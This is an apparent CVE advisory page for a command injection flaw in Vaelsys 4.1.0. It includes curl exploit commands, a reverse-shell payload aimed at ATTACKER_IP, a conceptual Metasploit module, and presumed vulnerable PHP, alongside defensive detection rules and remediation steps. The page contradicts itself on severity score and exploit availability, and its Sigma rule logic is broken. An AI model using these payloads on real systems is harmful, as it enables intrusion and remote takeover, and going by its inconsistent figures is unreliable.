☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-2952

CVE-2026-2952 OS Command Injection in Vaelsys
📅 PUBLISHED: 2026-02-22 14:02 UTC 🔄 UPDATED: 2026-09-02 06:50 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 7.38%
👁️
7.38% probability
184.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-2952 is a critical OS command injection vulnerability in Vaelsys 4.1.0, specifically within the /tree/tree_server.php endpoint. The flaw allows an unauthenticated remote attacker to inject arbitrary operating system commands via the xajaxargs parameter. With a CVSS score of 7.3, this vulnerability poses a severe risk to confidentiality, integrity, and availability. Public exploit code has been released, and no vendor patch is currently available. Immediate mitigation through network segmentation and WAF rules is strongly advised.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone application vulnerability in Vaelsys 4.1.0.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – Full system read access possible.
  • Integrity (I): High (H) – Full system write access possible.
  • Availability (A): High (H) – Full system denial of service possible.

Threat Level: Critical – Public exploit, no patch, remote unauthenticated execution.

Deep Dive & Mechanics

The vulnerability resides in the HTTP POST request handler for /tree/tree_server.php. The xajaxargs parameter is passed unsanitized to a system shell command. The application likely uses a function like exec(), system(), or shell_exec() in PHP to process this argument, allowing an attacker to break out of the intended command and execute arbitrary OS commands.

Root Cause: Lack of input validation and sanitization on the xajaxargs parameter before it is used in a shell command.

Attack Vector: An attacker sends a crafted POST request to /tree/tree_server.php with a malicious xajaxargs value containing command injection payloads (e.g., ; id, | whoami, $(cat /etc/passwd)).

Impact: Full remote code execution (RCE) on the server, leading to data theft, malware deployment, or complete system compromise.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable (Vaelsys 4.1.0):

<?php
// /tree/tree_server.php
$xajaxargs = $_POST['xajaxargs'];
$command = "some_command " . $xajaxargs;
$output = shell_exec($command);
echo $output;
?>

Patched (Hypothetical):

<?php
// /tree/tree_server.php
$xajaxargs = $_POST['xajaxargs'];
// Sanitize input: allow only alphanumeric and specific safe characters
if (preg_match('/^[a-zA-Z0-9_\-\.]+$/', $xajaxargs)) {
    $command = "some_command " . escapeshellarg($xajaxargs);
    $output = shell_exec($command);
    echo $output;
} else {
    http_response_code(400);
    echo "Invalid input.";
}
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy Vaelsys 4.1.0 on a Linux VM (e.g., Ubuntu 20.04).
  2. Ensure the /tree/tree_server.php endpoint is accessible.
  3. Use a tool like curl or Burp Suite to send malicious requests.

Exploit Command:

curl -X POST http://target:port/tree/tree_server.php \
  -d "xajaxargs=;id"

Advanced Payload (Reverse Shell):

curl -X POST http://target:port/tree/tree_server.php \
  -d "xajaxargs=;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Vaelsys 4.1.0 OS Command Injection',
      'Description' => 'Exploits command injection in /tree/tree_server.php',
      'Author'      => ['Security Researcher'],
      'References'  => [['CVE', '2026-2952']],
      'DisclosureDate' => '2026-01-01',
      'Payload'     => { 'BadChars' => "\x00" },
      'Targets'     => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri'    => '/tree/tree_server.php',
      'data'   => "xajaxargs=;" + payload.encoded
    })
  end
end

Blue Team

Detection Steps:

  1. Monitor HTTP POST requests to /tree/tree_server.php for unusual xajaxargs values.
  2. Look for shell metacharacters (;, |, &, $, `, \n) in the parameter.
  3. Alert on outbound connections from the Vaelsys server to unknown IPs on high ports (e.g., 4444).
  4. Check system logs for unexpected command execution (e.g., /var/log/syslog, /var/log/apache2/access.log).

Hunting Query (Splunk):

index=web sourcetype=access_combined uri="/tree/tree_server.php"
| rex field=form_data "xajaxargs=(?<xajaxargs>.*)"
| where match(xajaxargs, "[;|&$`\n]")
| table _time, src_ip, xajaxargs, uri

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /tree/tree_server.php with xajaxargs containing shell metacharacters.
    • Outbound connections from the Vaelsys server to attacker-controlled IPs on ports 4444, 8080, etc.
  • File System:
    • Unexpected files in /tmp/ (e.g., rce.sh, shell.php).
    • Modified system binaries (e.g., /bin/ls replaced with a backdoor).
  • Process:
    • Unusual processes spawned by the web server user (e.g., bash, nc, python).
  • Logs:
    • Apache access logs showing xajaxargs=;id or similar patterns.
    • System logs showing shell_exec or exec calls with suspicious arguments.

Detection Engineering

YARA Rule

rule CVE_2026_2952_Command_Injection {
    meta:
        description = "Detects command injection attempts against Vaelsys /tree/tree_server.php"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-2952"
    strings:
        $injection1 = /xajaxargs=[^&]*[;|&$`\n]/
        $injection2 = /xajaxargs=[^&]*\b(?:id|whoami|cat|ls|bash|nc|python)\b/
    condition:
        any of them
}

Sigma Rule

title: Vaelsys OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against Vaelsys /tree/tree_server.php
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: '/tree/tree_server.php'
        cs-method: 'POST'
    keywords:
        - 'xajaxargs='
    filter:
        cs-uri-query|contains: 'xajaxargs='
    condition: selection and keywords and not filter
falsepositives:
    - Legitimate use of xajaxargs with safe characters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-2952 Vaelsys OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/tree/tree_server.php"; http_uri; content:"xajaxargs="; http_client_body; pcre:"/xajaxargs=[^&]*[;|&$`\n]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Network Segmentation: Isolate the Vaelsys server from the internet and critical internal networks.
  2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the xajaxargs parameter.
  3. Input Validation: If source code access is available, implement strict input validation and use escapeshellarg() or escapeshellcmd().
  4. Disable Endpoint: If possible, disable or restrict access to /tree/tree_server.php.

Long-Term Actions:

  1. Vendor Contact: Continue attempting to contact Vaelsys for an official patch.
  2. Upgrade: Monitor for a patched version and upgrade immediately when available.
  3. Code Audit: Conduct a full security audit of the Vaelsys application for similar vulnerabilities.
  4. Monitoring: Implement continuous monitoring for command injection attempts using the provided detection rules.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:"Vaelsys"
title:"Vaelsys"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-2952/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.